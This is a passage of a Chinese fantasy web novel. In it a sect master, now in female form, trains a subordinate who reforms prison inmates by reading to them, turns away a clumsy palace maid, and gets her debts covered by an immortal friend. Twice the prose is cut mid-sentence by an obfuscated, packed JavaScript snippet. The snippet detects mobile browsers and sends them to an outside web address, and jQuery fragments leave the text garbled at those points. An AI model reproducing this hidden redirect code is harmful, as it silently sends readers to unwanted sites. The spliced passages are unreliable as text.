几位大人轮流管理南路狱,本月轮到谁,并无需掌门亲临,一般只有出了大事,才会在阴森的牢房里露一露面。莲烨大人则是例外,妄一勤勉且守时,只是没想到这次交接竟失约了。 锁金掌门的亲信从上午盼到下午,不见人来,只好亲自把东西送达,他没多问原因,送完就去复命了。 监狱的掌管权落到妄一手里,可她如今变了样子,行走做事不方便,且战斗力和鬼京守大门的不分高低。思来想去,她把这事交给凌部下去办,理由是书已经看了好几本,现在要给个机会实战。 凌延卿欣然同意,走之前,却问她一个问题:苍鸯殿是否有规定,女子不能出任掌门一职? 这自然是没有的,神欲鬼京的掌权者都是白水娘娘,只是恰好十三位掌门都由男子出任。 妄一选择隐瞒,也是因为大家共事久了,别说改性别,单论谁突然改了名字,见面呼喊都会觉得有些拗口。 得知灵兽跟凌师傅一起去南路狱,阿辞的精神顿时放松了,可屁股刚挨着凳子要坐下,一人一兽竟突然折返。吓得他贴着大人,不敢走太远。 妄一亦是困惑道:“这么快你就把监狱的情况熟悉完了?”那里关押的囚犯是最多的。 “我差不多了解一遍,想到做饭的时间快到了,就赶回来了。”某人边说边往屋里走,拾起半截短衣要往腰上围,心想动作得加快了,此时起锅下油,至多在半个钟内就能吃上饭。 阿辞忌惮灵兽,灵兽压根没注意到他,它回来早已渴极,看见有水的地方,嘴巴凑到湖边,大口舔舐起来。 妄一追进屋,一把扯过凌延卿腰上的半截短衣,说:“做饭不急,晚上糊弄两口也没关系。明日你正式去守狱,尽管有数名狱卒把守,但世事无绝对。时辰尚早,你先随我切磋几招,里面那帮东西不是吃素的。” “你不饿吗?”凌延卿迟疑地问。 “有一点点,但无大碍。”妄一干笑一声,“你放心,我就是想验一验你的本事,若能得我认可,我承认以后你在门里的地位仅次于我。” “啊?不行不行!使不得!我不同意!”阿辞听到了,当即跳脚。 灵兽则显得很激动,胡须上还挂着水珠,跑到凌延卿身后,为他增长气势。 妄一把目光移到它身上,笑道:“怎么?你想先替他挨刀?” 灵兽想起自己之前被凶女人勒脖,口中发出“呜呜咽咽”之声。 凌延卿摸摸它的脑袋,和妄一道:“好吧,大人盛情难却,那今日只能晚些开饭了。” 二人走到院中空地,一场较量开始。凌延卿拱了拱手,像江湖侠客那样,开头总要客气一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087417|193354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。妄一就不同了,她喜欢速战速决,开头直接使了一招“水云掌”。 对面的人轻轻避开,回手就是一击。 他们从屋前打到湖面上去,水花四溅,惊扰湖中的游鱼。 阿辞搬来小凳和瓜子,津津有味地观战。侧头瞄了眼灵兽,它也聚精会神,不肯错过分毫。 湖面上有一具枯树浮木,妄一立在上面,念决催动法力,湖水慢慢形成漩涡。她知道与凌延卿相比,身上残余的一成功力是蜉蝣撼大树,只得依靠地形优势来周旋一二。 凌延卿白衣翻飞,踏水而过,第一次运用术法,只能勉强稳住湖面惊涛浪涛。 他面对妄一的凌厉攻势,表现得不急不躁。妄一借势而冲,双掌与其相击的瞬间,湖中炸开数道水弹,水底生灵晕头转向。岸上的阿辞和灵兽,无端被吃了这倾盆大雨。 凌延卿袖子一挥,接住漫天水花,顺势倒入湖中。 一回合结束,他们身上都有一截衣摆被打湿。 妄一拧着衣服,和他道:“反应不算慢,但出招不太快,好在自保是没问题了。” 凌延卿笑笑,回道:“还要多谢大人给我的书。” 除去有关律法书籍,妄一后还多塞给他两本功法秘籍,以作防身之用。没想到他认真看了,适才有几招都取自里面。 妄一赞许地点头,部下有此等天赋,她自不会辜负。他看似性格婆婆妈妈,但到底脑子没生锈,看守一个监狱必然绰绰有余。 只是谁也没料到,他长得细皮嫩肉,次日与囚犯们正面相见时,整个南路狱都炸开了锅。 众囚犯都知本月是莲烨门当值,他们畏惧的也只是莲烨大人,但当来者是一块嫩豆腐,表情无一不是嘲讽与鄙夷。恶语相向的同时,还比划两下拳头。 凌延卿沉默不语,他就这么不受欢迎,那接下来的二十几天要怎么办呢? 牢中叫嚣之声不断,狱卒在过道上挥鞭子都控制不住局面。 “莲烨门被我们咒倒台了?叫个长得跟娘们儿似的软饭小白脸来。” “这种档次都能来进来管人,还是把我们放出去教他做人吧!” 牢头见状,不由低声询问凌延卿,要不请他先回避片刻? 凌延卿沉得住气,他没管过监狱,也没听从妄一的建议——随机选一只鸡,殴打给猴看。 他听了一会儿污言秽语,转头对牢头吩咐话语。牢头眼睛一亮,应下说:“我这就去请!” 有些心思活络的囚犯听出端倪,当即大笑:“嫩豆腐要请帮手来压我们了,只怕请的也是另一块老豆腐吧!” 南路狱嬉笑一片,凌延卿神色始终淡淡,所有的辱骂与轻视对他来说如灰尘一般,直到监狱的大门出现响动。 有一个人,不,可能是两个人,因为听那声音像四只脚的,噼里啪啦地往这儿奔来。 那是何方神圣?为何一掌宽的门缝出现了某座山的黑影? 随着影子的放大,一只竖向棕黄色瞳孔像灯笼似的往里面照,所有的黑暗顷刻驱散。 铁头一声嘶吼,牢房大门“砰”的敞开,口中的咸腥气熏在靠外边的几个囚犯脸上。 它迈着高傲的步伐走进其间,体魄雄伟,尖耳高竖,血红的舌头轻舔尖刀般的利齿。 世界在它那双凶光毕露的眼睛里,霎时变得安静。 47. 孤女拜见求庇檐 凌延卿接手南路狱后,妄一经常整日见不到他一面,知他有上进心,她作为上司深感欣慰。 监狱当值处原本设在外头,不与牢内囚犯共处。若无特殊情形,凌延卿只要看住他们,不扰乱秩序就行,可他似乎有点闲了,拉了张桌子进去,搞起“仁治”。 牢房的过道颇为宽敞,他把桌子放中间,人也坐中间,不顾旁人怪异的神色,自顾自捧书翻看。 有史以来,囚犯们几乎头一回见这阵仗,不禁窃窃私语。 凌延卿悠闲翻过几张书页,头也不抬道:“别急,我马上挑几章念给你们听。” 挑来挑去,这篇太长,那篇太复杂,总算挑到满意的,念书的声音,在长长的过道里荡起回音。每念一章,他就要和眼皮子打架的囚犯交流心得。 他坚持不懈地对牛弹琴,没人应答,他就再读,再讲,还不许他们睡觉。囚犯们敢怒不敢言,如果没有那头灵兽坐镇,牢房早就吵翻天了。 来来回回念叨几个破词,终于挨到午休时刻,囚犯们如蒙大赦,挥挥手赶紧让他滚。 凌延卿才来多久,狱中流传的黑名单上,名字从两人变成了三个。莲烨掌门和凛海帝姬带来的无非是□□折磨,这凌呆子引发的却是精神攻击。 妄一得知时还觉得有点儿意思,从前其他掌门有意教化,甚少采用念书讲理这一项,因这法子太斯文,被关的又是一群蛮横无理之徒。如今能使他们乖乖听话,多靠灵兽施展威风,可惜铁头去几次就不肯去了。 头等原因便是凌延卿动身太早,天不亮就出门。铁头则晚上不爱睡,早上起不来,不过有一点挺好,再困也会睡眼惺忪地送人出门口。它不会人语,但每次告别前都会舔掉凌延卿手里的小饹馇。想来“抓住一个人的心,先要抓住他的胃”大抵在兽界也是通用的。 另一个原因则是牢房常年弥漫着一股“腐朽”的气息,常人闻不出来,但对灵兽十分敏感,若是久待,可能又会莫名其妙发狂。 妄一有意观察几次,时常怀疑真君是否受不了它好动,才叫它玩尽兴了再回去?这么大的块头日常在门里跑跑跳跳,撞坏东西已经见怪不怪,但最让人气恼的是,司命老爷曾送来一坛“大梦浮生”也被它糟蹋了。 尘芳仙君曾言,小老头是酿酒的一把好手,与天上的琼浆玉露相比,亦是平分秋色。如此珍品,竟被铁头一个激灵,私自破了封布,一头扎进坛口。 伸进去容易,退出来难,坛口和大脑袋的契合度仿佛浑然天成,紧密无隙。 为救它,妄一只得狠心破坛,因此这家伙在莲烨门的身价又涨了涨。 这天它又跨屋乱叼东西,把恨殊掌门曾送妄一的钓竿拖出来。 妄一大声呵斥,暴扣它的脑袋。它松口跑开,眼睛还盯着银色鱼钩看。直到察觉外面有人求见,它才把注意力移开。 门外那人立着,不敲门,只静静候着。 妄一收好竿子,把灵兽赶回茅庐,转身去到门口。 打开见是一个身着碧衣,梳着两个圆形发髻的姑娘,听见开门声,她忙双膝跪在地上,一副怯生生的样子。 “你在这儿做什么?”妄一冷着脸问。 小姑娘没有立刻回话,而是将手上三枚青果依次摆好,恭敬道:“姐姐安好,我是苍鸯殿的洒扫小娥,名唤‘芜香’,我想求见莲烨大人,不知在不在?” “何事?”妄一上下扫她一眼,指了条明路道,“你有冤屈,你要报案,应该去找恨殊门才是。” “不不,我就是为莲烨门来的!”她仰起脸,慌忙摆手。 眼神相触的瞬间,姑娘的容貌撞入妄一的脑海。那是一张纯朴的脸,让她既熟悉又不敢忘。 “你是......周......周良喜?!”她捉住小姑娘的肩膀,人间一别,周良喜为她身死,她深知人死无法复生的道理,但目光仍不愿从这张脸上挪开。 像,实在太像了。 芜香吓了一跳,也不敢直视人。 妄一僵持好一会儿,怅然若失地松开手。斯人已逝,她该知道们不会再相见了。这姑娘与周良喜容貌神似,终归是不同的人。 “不好意思吓着你了,你不是她。”她收敛神色,恢复平静的口吻。 “没......没关系。”芜香绞了绞衣摆,极为拘谨。 “你说你找莲烨掌门?”妄一道,“他不在,你有话且与我说吧。” 芜香唯唯诺诺地点了点头,张张口,正准备道出事由。她这一路都想好要怎么说话了,但路过一端茶的粉衣女子,她却再次压低了头。 可惜天不随人愿,粉衣女子看见芜香,当即忍不住惊讶一声。她轻快地绕到身侧,道:“这不是芜香妹妹吗?你怎么还赖在这儿?” 芜香紧咬嘴唇,一声不吭。妄一看了看,心道她们是不是私下有仇。 但听粉衣女子道:“你求谁也没有用,也别怨我们狠心,你知道的,姐妹们都容你够久了。” 芜香耸着肩膀,缩着脑袋,盯着自己的脚尖看。 “我劝你快点走吧,你差点害了人,玫姐姐没深究,你够幸运的了。”粉衣女子看了眼莲烨门的牌匾,嘀咕道,“你真会找地方,竟还想投奔这位大人。” 芜香嗫嚅道:“我不想走,我不想走......”这可怜模样仿佛下一刻就会哭出来。 妄一拉过粉衣女子,问她这是怎么了? “唉,姑娘别看她人畜无害就可怜她。”粉衣女子话匣大开,娓娓道来,“芜香做事是我们姐妹里众所周知的马虎,平时她莫名其妙些就罢了,玫姐姐脾气好,还总多关照她,可前天她差点要了人家的命啊!” “我没有存心害人!是玫姐姐病了几天,老说这药苦,我才放了点儿蜜,我根本不知道会使药性相冲!”芜香忽然过来扯住妄一的裙角,不住哀求,“红衣姐姐,其实我不笨的,我......我什么活都能干,那些砍柴挑水的事,我从小做到大的。你能不能替我求求莲烨掌门,让我留在这里。” 这话一来二去的,妄一心中知道了大概。 她未作声,粉衣女子先道:“芜香,你无父无母,去哪里都能当家,干嘛非认准苍鸯殿不放?玫姐姐赶你走时,不也给了你一笔丰厚的遣散费吗?” “我没要!给我多少我都不会要!”芜香道,“我从小就生活在这里,除了苍鸯殿,我哪也不去!”或许这是她第一次正面与别人对抗,声音颤抖却带着几分坚定。 被人顶了嘴,粉衣女子自然不舒服,正欲呵斥回去,妄一拦在中间,说:“都莫动气,前因后果我已知晓,是去是留,我说了也不算。但是姑娘......”她看了眼粉衣女子,“你手捧茶盘,已经待了许久,再不走,茶水就要凉了。” 粉衣女子表情变了变,对啊,她大早上还有事要忙,因为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102734|193354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 芜香而耽误了,那太不值当了。 “有劳姑娘提醒。”她对妄一笑笑,转头看向芜香时,依然有说不出的嫌弃。莲烨掌门是何人?倘若收留芜香,再犯错,可不会像玫姐姐只把人赶走就能了结的。 粉衣女子快步离开,芜香仍像个鹌鹑似的一动不动,妄一叹了口气,让出半个身子,道:“你先随我进来吧。” 从门口到湖心小院的距离,她与芜香并肩而行。因旁人的突然出现,芜香始终难以放松。 她说她自小就在苍鸯殿,长到一定的年纪,就负责殿中洒扫事宜,虽然做事都比别人慢一拍,但平时交代的活,无论多晚,都会尽心干完。 她活得小心翼翼,因为天生性格软弱,也没知心朋友。但是对她来说,能有地方住,有饭吃,有事做,就很满足了。 尽管她想法单纯乐观,可冰冻三尺非一日之寒。她干活总是不尽人意,一早上能做完的事,轮到她就要做一天,甚至还要做错,到最后可能还要别人帮她。 这并非她性情懒惰,而是她天生愚钝手脚慢,且畏首畏尾,怕的越多,错的也越多。 说起前天那桩事,芜香也自责不已。 当时玫姐姐病得起不了床,豆蔻为她煎药,一时闹了肚子,便托路过的芜香照看药炉。 这一看,便把祸水看来了。好好一盅草药,被她煮烂了不说,还加了一勺与药性相克的蜜糖,差点要害性命的事,众人哪敢再留她。 芜香眼眶红润道:“玫姐姐是很好的人,她一定是气急了才把我赶出来,她病得那样严重,和我说话的时候,声音都是哑的。” 妄一沉默片刻,小姑娘虽然可怜,但做错事是事实。她没有狡辩,甚至想真心实意地悔过,但别人不肯再给机会。 “所以你就找上莲烨门?” “是啊,我听说前不久莲烨门刚纳新,所以想来碰碰运气。”芜香擦掉眼泪,“我也能做很多事,只要大人肯吩咐,我发誓一定会仔细仔细再仔细!” “......这倒不必。”妄一咳嗽一声,“大人这些年许多事亲力亲为,更习惯独处,就算让你进来也没什么能安排你做。比起别的掌门,他更算不上好相处的,真在他手里做事,那才叫一个要命。” “姐姐,你别这样说......”芜香朝前后左右看了一圈,确认没有第三个人听见。 妄一笑道:“没关系,他不在的时候,我才敢放开话说。他这个人脾气差又没耐心,因出远门,我受他所托,暂代位置,等他回来,我就走了。平心而论,你去别处摸索更能找到机会。” 芜香抿了抿唇,没有应答。 妄一仿佛看出她的想法,小姑娘在几个地方选中莲烨门,想必是经过比较的。如果说芜香风评不怎么好,那莲烨门的风评也不怎么样。 “姐姐,能否帮我向大人说说好话?” 她表情真挚,意志坚定。可惜最后无论强调多少句自己能上山砍柴,下河洗衣,妄一都微笑地看着她,让她知难而退。 “你一个小娥,在这里又无官职,不该耗在这座浩大的宫殿里。”妄一神态自若,话语透着一股让人信服的魔力。 芜香心事重重地垂着头,明白再说都是无用,便闷闷“嗯”了声,她连一口水都没喝,失魂落魄地走了。 出去后是另谋出路,还是继续等别处开门。妄一自个儿都难顾及周全,必也无法留意其他。 48. 账单一送两袖风 南路狱里,凌郁卿依旧每日准时准点和囚犯分享经文,频率之高,跟人每天要睡觉一样。就算囚犯能捂住双耳以表抵抗,但当某人在牢里做起饭来,总不能不呼吸吧。 监狱的伙食是常年不改的难吃,更有甚者几年沾不到荤腥,一闻到大锅飘出来的香气,口水止不住流成小溪。 蟾蜍精比其他囚犯要理智,他指挥大家莫急,只要团结一心,各位定能熬过去,到刑满释放那日,大家想吃什么就吃什么。 他说得慷慨激昂,可惜压根没人理。还有谁出言讽刺:“你别以为大伙不知道,牢里偶尔飞进几只虫蝇,数你舌头最长,早偷尝过好几次荤腥!” 牢房又开始吵吵嚷嚷,凌延卿见状,拿着铁勺在锅底划出一道刺耳的刮擦声,迫使他们安静。 “谁想吃都可以。”他神色平静,“但必须要对之前的经文做个感悟,表述上佳者,赏之。” 此言一出,囚犯们大眼瞪小眼,均一副踌躇不安的样子。 只有一个看着文气些的白瘦鬼举高手,喊道:“我我我!我快饿死了,你们不敢,让我来!”他活着受过文字启蒙,勉强能应对。 那姓凌的也没骗人,白瘦鬼随便应答两句,锅里的第一碗如约给了他,其他囚犯的内心都跟着狂热起来。 比起莲烨掌门要和他们打斗切磋,姓凌的让他们绞尽脑汁说感悟已大大降低难度。 然而当长长一卷欠单送到莲烨门时,妄一坐不住了。 白纸黑字写得满满当当,用手推开,能从屋里摊到屋外,上面写着欠东家一筐萝卜,西家一车蘑菇,南家一篮豆角,北家两挂腊肠,以及下面密密麻麻的商贩,看得人两眼发昏。 纸上无一例外都是食材明细,先不说她在自家伙房见没见着实物,光这些数量就够整个莲烨门吃仨月了。 她强压脾气,待查清这些粮食的去向都是南路狱后,心中涌起一股不祥的预感。 妄一没做任何掩护,因气在头上,当即冲进南路狱。惊得一众狱卒以为她来劫狱,正要抽刀拼个你死我活,来人便掏出令牌。 这是莲烨掌门的私物,虽不认识这红衣女子,但狱卒仍纷纷后退让道。 妄一冲进来时,凌某人正端坐桌前,手捧书籍,解释经义。她不顾三七二十一,一把抓住他的肩膀,提溜到边角问话。 囚犯们见新鲜事,眼神都清醒了,吹口哨的吹口哨,起哄的起哄,伸长了脖子要听动静。 凌延卿眉目平和,任由她拽着。妄一将他堵在里头,他老实地背靠着墙。 “我问你,我让你来这里做事,你是不是觉得很是委屈?” “没有。” “哼,没有那你怎么给我背债上身,玩起‘先斩后奏’?” 妄一掏出一卷账单,戳到他面前。上面这么多行的明细也不用细看,直接移到最后一条,看总计吧。 凌延卿未有狡辩,甚至花了这一大笔钱,连羞愧的表情也没有,反而解释“钱财乃身外之物”,他特地为大人展现这几日的成果,南路狱通过他一系列的管理,这群囚犯不说有了多高的思想觉悟,起码减少了开黄腔的习惯。他特别表明,这都是莲烨掌门的功劳。 “快省省吧,这费钱的虚名,我可不要!”她不愿听任何吹捧,囚犯们思想会不会高尚,关她什么事?她只要他老实看管这帮人,不出纰漏就是尽职尽责。 “你别气......”凌延卿小心观察她神色,见其眉毛仍旧拧着,他轻轻掀起袖子,辩明道,“你看,事实不尽如此。” 丑陋的咒痕摆在他们之间,妄一低头一瞧,颜色似乎有变。她下意识也撩起自己的袖子,他们的咒痕都不知不觉淡化了些。 妄一面色千变万化,难道给囚犯洗脑,也属攒功德的一种? “咳咳,这不是洗脑。”凌延卿郑重说明,“这是灌输他们人生价值。” 随便吧,看到咒痕变淡,妄一紧张的心情便有所缓和。 “算你新官上任,干了一件实事,但是这钱......你是真不为我着想啊!”她没了来时的盛怒,但语气里仍有责怪之意,“你看我平时吃穿用度,像是家里躺金山的吗?” 凌延卿抱歉道:“这一点是我疏忽了。” 他认错态度诚恳,妄一瞪了一眼,严肃道:“你教化就教化,哪个不从,你就用手段伺候。这笔烂账我去想想办法,你下回可不许这样了!” 她要是此刻不明说,现在欠了这个数,下次又偷偷摸摸不知要欠多少。钱既花在囚犯身上,怎么说都跟公费沾点关系。妄一寻思得找锁金掌门谈谈,不过就算这位大人应允,想必也要卡一段时间才能拨下来。 换成以前,妄一离开都会对囚犯们训上两句,今天没心情,在数道探究的眼神中突然出现,突然消失。 鬼市商户送来的账单该如何补上?妄一仰头望天,心想她也要去赌坊走一遭吗?可是她的运气好像经不起推敲。 思前想后,她决定找人借钱先把窟窿填上。 问谁借合适?她的圈子里似乎是有个腰缠万贯,富得流油,且能答应让她分几个月归还,还不收取利息的阔气善人。 她为银子的事而发愁,愁着愁着,那位合适的债主便上门了。 “老弟在不在?”尘芳仙君风格未变,没进院子,先高声喊叫。 借通天的风波已过去一段时日,但仙君心里还没彻底过去,手中提的那盒雪山花胶,是难得一见的天庭仙品。 屋还是那个屋,人却不是原来的人。 尘芳疑惑地四处相看,确认自己没走错地。但里头那位妙龄女子,神态自若坐在莲烨掌门的专座上,有生人到访,一点儿都不心慌。 仙君心念一转,礼貌问道:“姑娘是我老弟的红颜知己?哦,我是说本门的掌事。” 妄一不答,盯着他瞧,琢磨要怎么开口借钱。但这落在尘芳眼里,恰恰成了姑娘家脸皮薄,不好意思承认。 仙君断定姑娘和妄一关系匪浅,随即宽和一笑:“进了这道门,就是自家人,姑娘请随意些。不晓得你独自在这儿待了多久,老弟也真是,竟能迟迟不归。一会儿他来了,我说他两句。”他心道自己一眼看破关系,不然以莲烨掌门的脾性,能让普通女子坐那个位置? 妄一眉头一跳,只觉得现在再坦白自己的身份,似乎有点晚了。 尘芳高兴道:“我从前嫌妄一独来独往,没有红颜作伴,没想到他悄悄结识姑娘,都不和我这个当哥的说。这趟来,到也没有没带见面礼,下次补上。” 他表现得像个家中长辈一样稳重和蔼,主动倒茶。妄一不说话,他也能自娱自乐拉起家常。 “我和妄一相识多年,我这兄弟性子冷淡,心思不坏。说话有时毒了点儿,但身家清白,为人正直。若有什么不周到的地方,姑娘不好直说,那就与我来说。我跟姑娘一见如故,定然是帮理不帮亲的。” “......多谢仙君。”妄一干笑几声。 “不必客气。”尘芳也跟笑笑,“不知道姑娘你是?” 妄一沉稳道:“何田。” 从男相术法消失的那一刻,她就有意避开莲烨掌门的身份。“何田”是凌延卿帮她取的,问起理由,他当时答“莲叶何田田”。因妄一不喜欢叠词,故而只取二字,念多了,听着有河又有田,也算是沾了“富足”之意。 但这落在仙君耳里成了“何甜”。 甜,姑娘甜点好啊。 桌上只有简单茶水,尘芳仙君代行主人之职,去了伙房的门转一圈,看看有无其他吃食,见灵兽躺在柴火边睡觉,不免惊讶道:“咦,沧环怎会在此?!” 他蹲下,摸摸那手感蓬松的大脑袋,道:“多日不见好像又大一圈,你在下界过得可好啊?” 被叫“沧环”的灵兽大梦初醒,它挺着圆滚滚的肚子,懒懒打了个哈欠,又睡过去。 尘芳拿袖子扇它一下,道:“你这家伙,我对你不薄,看见我也无半点儿热情。” 妄一就站在仙君后面,对灵兽的真名起了诧异。 “仙君叫它‘沧环’,这才是它真正的名字,敢情它也不叫‘憨憨’?” 那日听司命老爷称呼它,她就觉得奇怪,真君也算鼎鼎有名之人,怎给饲养的灵兽取这随意的名字? 尘芳道:“它当然是叫沧环,乃白誉真君的守殿灵兽,由天地灵气孕育,受日月华光照拂。真君事务繁忙,鲜少有时间管教,基本放养长大的。阿甜姑娘说的‘憨憨’是什么叫法?你看它孔武的身躯,强健的四肢,修长的胡须,浓密的毛发......”尘芳话音顿了顿,看见灵兽脖子上有东西在反光,伸手一摸,是个水滴形的珍珠吊坠。 “这是谁给它挂的?有点过分了啊,沧环是公的!” 妄一又一阵困惑,怎么会是公的? 在取湖中蚌珠做成吊坠前,她特意看过它明明是母的,不过那次灵兽的确有些不配合,挨了好几个大耳刮才被她摁住看。 “这也不怪阿甜姑娘认错,天界奇珍异宝,孕育的灵兽也不同凡响,幼时性别不太明显,所以不能光看......咳咳!”尘芳及时止了口,没有明说。 但事实证明,灵兽喜爱脖子上的珍珠。仙君想帮忙扯掉,它不高兴地躲开了。 仙君摇着头,百感交集道:“沧环,才多久没见,你就变了。”变得娘娘腔了。 灵兽从鼻孔喷出两口气,尾巴一甩,去外面喝水。 妄一道:“名字是个代号而已,仙君叫它‘沧环’,司命老爷叫它‘憨憨’,而我又叫它‘铁头’,它都不介意。” “等会儿,怎么还有叫铁头的?它多出几重身份,能记得过来吗?” “不知道啊,它也不会开口。但好的不灵坏的灵,当面讲它坏话必然会给回应。” 何止铁头如此,莲烨掌门也身份多重。妄一觉得是时候把话说清,她神情严肃道:“仙君,我其实也有事要告诉你。” 尘芳望着瞎跑的灵兽,不知她为何态度转变,但仍宽宏道:“但讲无妨。” 妄一张了张口,认为这是个比较重要的消息,可尘芳的视线还放在外边,她清了清嗓子,道:“你看着我,听我讲,毕竟关于莲烨掌门是女子的秘密,是一桩比较严肃的事。” “这算什么秘密,我......”尘芳突然一怔,似乎有什么不对劲 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“你别这样想,我变女相的次数,三根手指都数得过来,我也曾想坦白,但一直找不到合适的机会,所以现在大概是我的报应来了。”妄一适时地扯过账单叹气。 三文钱能难倒英雄汉,何况是一卷长账目。 尘芳看了眼,却说:“这也没多少钱吧。” 妄一窘迫道:“你知我的境遇,虽为一介掌门,身份看上去风光,但到底不能和......兄长相比。” 尘芳轻哼一声,面色肉眼可见的好转。 “所以我想借一些,暂时解决这份燃眉之急。”妄一趁热打铁。 “嗯?!”尘芳刚舒缓的表情,听到某个字眼又拧在一起。 意识到不对,妄一怪异地纠正道:“给!是‘给’!给了不用还的‘给’!” “哼,你总是一不留神要说些令人寒心的话!”尘芳低头阔气地掏了腰包,妹子都喊他“兄长”了,能让他怎么办呢?即便抓着理儿也都放了吧,就这些银两,连当兄妹之间的见面礼都算不上。 他在那声“兄长”里有些飘然自得,不免打趣道:“怪不得百年来你不近女色,怪不得你对帝姬避之不及呀!” 笙媱帝姬在凛海龙宫要风得风,要雨得雨。能将她的多次示好而拒之门外的,无非就是“天时地利人和”的其中一环差些水准。 尘芳先前道是帝姬性情不好,不合妄一口味,殊不知那七尺男儿的皮下是个女子。 他偷摸打量几眼,这模样倒是顺眼,他越看越稀罕,越看越亲切。 “不管你什么身份,总之老哥一直会把你当亲友相处,不能再防我了。” 仙君话是如此,却也带着一声轻叹,毕竟以后对妄一下手不能再没轻没重。 他叮嘱妄一,屋里的雪山花胶快炖了吃,是从极寒之地的鱼里剖出来的。 今天南路狱结束得早,凌延卿赶在天黑前归来。铁头就就在门后等他了,欢喜上去迎接,又闻一闻他的手,好生殷勤。 凌延卿未与其嬉闹,抬头见正屋房门大开,灯竟不点一盏。 他进屋一番找寻,小心翼翼点了油灯,便听床上突然有人道:“你回来了。” 妄一披着满身粉绿蓝的绸缎,缓缓起尸。 凌延卿愣了愣,问:“大人是在......准备吓我吗?” “没,我看累了,刚刚睡过去一会儿。”她揉了把脸,将身上的绸缎扯下来,放在一边。 那都是好料子,凌延卿挑了下眉,若有所思,心想不是白天才刚说银钱紧张吗? “哈,你也当我是发财了?”妄一苦笑,“仙君来过了。” 尘芳慷慨解囊,平了她的难,虽说不用归还,但她还是想攒些银钱。放眼望去,床上堆起小山似的衣裙,无一都是仙君后面送来的。少了个兄弟,多了个妹子,兄长大人乐意置办。 “仙君与莲烨门关系密切,因我术法失效,他来探望便知道我的真身。他没生什么气,就是请我明天去一趟仙府商量事宜,你来的正好,帮我看看吧,他让我别穿太随便。” 她问仙君有什么事不能再莲烨门商量,仙君非要卖关子,务必请她登门。妄一自知欠了人家的情,不好拒绝,只是满床的衣裙经过挑挑拣拣,她难下决定。 她不是怀疑自己的审美,她是怀疑尘芳的审美! 这些衣服鲜亮花哨,偶有件低调的,袖口裙边都有波浪卷的花纱,仿佛穿上后即刻需要登台表演。 铁头摇着尾巴晃来晃去,以它智慧的大眼,很明显这个女人明日有约。它在边上蹭来蹭去,表示它也想出去转转。 “你这家伙免了吧,留在门里,我叫阿辞过来照顾你。”妄一早对它有了安排。 铁头不高兴,拱了拱凌延卿的腿,盼他说好话。他却摸摸它的脊背,让它听话。 “想来是看你衣着简单,仙君才送些女儿家的东西来,虽然衣裙气质与人不合,但稍作改动也非无计可施。”凌延卿认真地看了看。 妄一随着他的目光,道:“你说是这件桃粉带细褶的,还是那件水绿镶珍珠的?” 凌延卿伸手在一众布料上方停留,最后点了点其中一件,道:“就它吧。” 49. 登门仙府遇仙子 妄一与尘芳仙君的交情,在她还是苍鸯殿小卒时就结识了。具体起源记不清了,但数年下来,多是仙君前来探望,妄一极少登门拜访。 这回他特意邀请,含糊吐露意思,大抵是天庭让他安置一批流放仙人,有些应接不暇。 为帮仙君分忧,妄一醒得早,出门也早,在天边夜色还未全部褪去的时候,就已站在大街上。路边卖炊饼油条的食摊开始了吆喝,她前一段路走得自信不疑,但走到一个岔路口,便犹豫了。 尘芳的府邸,乃神仙居所,位置隐秘。妄一站在岔口中央,左边是通往抚安河的尽头,右边是去德贤街的方向。 仙君请她务必到来,可忘了提点一句,他的府建在哪儿来着? 她依稀记得是一座大宅的模样,但周遭景致都模糊不清了。眼看京中差役该提刀巡逻了,他们去过的地方多,地形熟,她挑一个问问,大约能问出方向。 彼时她的想法略有天真,她站在路口四处盼望,结果一声“我们又见面了,姑娘。”让她汗毛耸立。 该等的没等来,不该等的自己找上门来,她装没听见承英的声音,往相反的方向望去。 那人明白她故意而为之,不紧不慢地拿出一支发钗,递到她面前晃了晃。 妄一的目光不由被吸引,与某人正面而对,道:“是你偷了我的东西?”她千辛万苦寻而不得的珠钗,没想到落在承英手里。 “啧,你这姑娘红口白牙,不明真相怎么能说是偷?”突如其来被扣帽子,承英脸色微变,“当日我在现场碰巧拾得,本想送回,只是打听许久,都不知姑娘姓甚名谁。” 他话里略有怪罪之意,御朝大人掌管鬼京户口多年,从没觉得找一个人如此费劲。晓得她与莲烨门的关系非比寻常,但具体身份,他竟查不出分毫。 妄一神色冷漠,不想多加废话,她垫脚想将钗子夺回,承英却捉弄似的抬高手,有意让她够不着。 “大人的意思我好像看不懂。”她收回手,站回原地,“大人若看上了这钗,价值十两,我愿割爱。” “你这确定不是在坐地起价?”承英哼声道,“我并非眼红珠钗,我只是好奇,你既知我是掌门大人,为何又不肯告诉我你姓名?难道是怕......” “怕什么?我身家清白,并无犯事,鬼京可没哪条法律规定,必须要告诉掌门姓名。”妄一硬声道,“大人若不想归还,那就大路朝天走,待我得空,自会去找苍鸯殿的恨殊门聊聊。” 好个青天白日,是非颠倒。承英抽了抽嘴角,他哪一句说了不想还?正要拿道理压她,又忽觉手里一空,握着的物件猝不及防被人抽走。 何人如此大胆?他瞪眼瞧去,某位郎君站立身后。 凌延卿绕过他,将钗子别进妄一的发髻,催促道:“姑娘,仙君已在府上等候,昨日千叮咛万嘱咐,叫我们路上莫要耽搁。” 他的出现让妄一颇为意外,压低声音问:“你怎么来了?你这个时候不该在南路狱吗?” 